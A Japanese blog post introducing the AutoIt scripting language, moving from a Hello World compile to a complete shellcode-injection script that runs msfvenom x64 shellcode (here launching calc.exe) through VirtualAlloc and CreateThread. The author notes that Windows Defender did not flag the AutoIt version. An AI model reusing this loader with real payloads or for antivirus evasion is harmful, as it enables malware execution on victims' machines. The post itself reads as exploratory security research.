見出し画像

#167 AutoIt

 AutoItは、Windowsの自動化に使われるスクリプト言語です。Basicがベースとなっていて、GUIの操作が手軽にできるのが特徴です。スクリプト言語ですが、EXEにコンパイルしたりUPXで圧縮したり、いろいろできるようです。あんまり知らない言語でしたが、マルウェアの開発にも盛んに使われているとのことで、おもしろそうなのでちょっと触ってみました。


インストール

まずはスクリプトエンジンをインストールします。ついでに、専用エディタ(SciTE)もダウンロードします。


コンパイル

とりあえず、Hello Worldします。

SciTEは、さすが専用エディタなだけあって、AutoIt開発に便利そうな感じです。

hello.au3

MsgBox(0, 'test', 'Hello World')

Tools > Compileをクリックすると、コンパイル設定の画面が開きます。

適当に設定して、コンパイルすると、hello.exeという名前で実行ファイルが生成されました。実行すると、メッセージボックスが表示されます。


Process Injection

これだけではつまらないので、Process Injectionもやってみました。Documentは意外と充実してますが、あまり使われていない(?)せいか、ほかの言語ほどサンプルコードは多くありません。WinAPIを使うような場合は、エラーもリッチとは言えないので、けっこう苦戦しました。が、なんとかShellcodeを実行するスクリプトを完成させました。

inject.au3

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Compression=0
#AutoIt3Wrapper_UseX64=y
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <Process.au3>
#include <Memory.au3>
#include <WinAPI.au3>

Inject()

Func Inject()

	;msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f hex
	$shellcode = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500"
	$buf = DllStructCreate("byte["&2048&"]")
	DllStructSetData($buf, 1, Binary("0x"&$shellcode))
	$pid = _WinAPI_GetCurrentProcessID()
	$hProcess = _WinAPI_OpenProcess(0xffff, 0, $pid, True)
	ConsoleWrite("[i] GetCurrentProcessID: " & $pid & @CRLF)
	$lpAddress = _MemVirtualAlloc(0, 2048, 0x3000, 0x40)
	ConsoleWrite("[i] VirtualAlloc: " & $lpAddress & @CRLF)

	Local $bytes_written
	_WinAPI_WriteProcessMemory($hProcess, $lpAddress, DllStructGetPtr($buf), 2048, $bytes_written)
	ConsoleWrite("[i] WriteProcessMemory: " & $bytes_written & @CRLF)
	DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", $lpAddress, "int", 2048, "dword", 0x40, "dword", null)
	ConsoleWrite("[i] VirtualProtect" & @CRLF)

	DllCall("kernel32.dll", "int", "CreateThread", "ptr", 0, "int", 0, "ptr", $lpAddress, "ptr", 0, "int", 0, "dword", 0)
	ConsoleWrite("[i] CreateThread" & @CRLF)
	ConsoleWrite("[+] Done" & @CRLF)
	MsgBox(0, "inject", "Done")
EndFunc

コンパイルして実行すると、calc.exeが立ち上がります。ShellcodeはMsfvenomで生成したものです。

C#やC++で同じようなことをするとDefenderにすぐブロックされますが、AutoIt版は検知されませんでした。もしかして、回避性能高い???


まとめ

AutoItでShellcodeを実行するスクリプトを作りました。慣れは必要ですが、他の言語と同等のことはできそうです。今回、Defenderには全く検知されませんでしたが、そもそもそんなに使われていないからか、検知がされにくいのかもしれません。
一方で、公式Wikiでは、AutoIt製の実行ファイルがマルウェアと誤判定されるケースについて記載があります。そして、公式の回避策も書いてある…

研究の余地がありそうです。

EOF

いいなと思ったら応援しよう!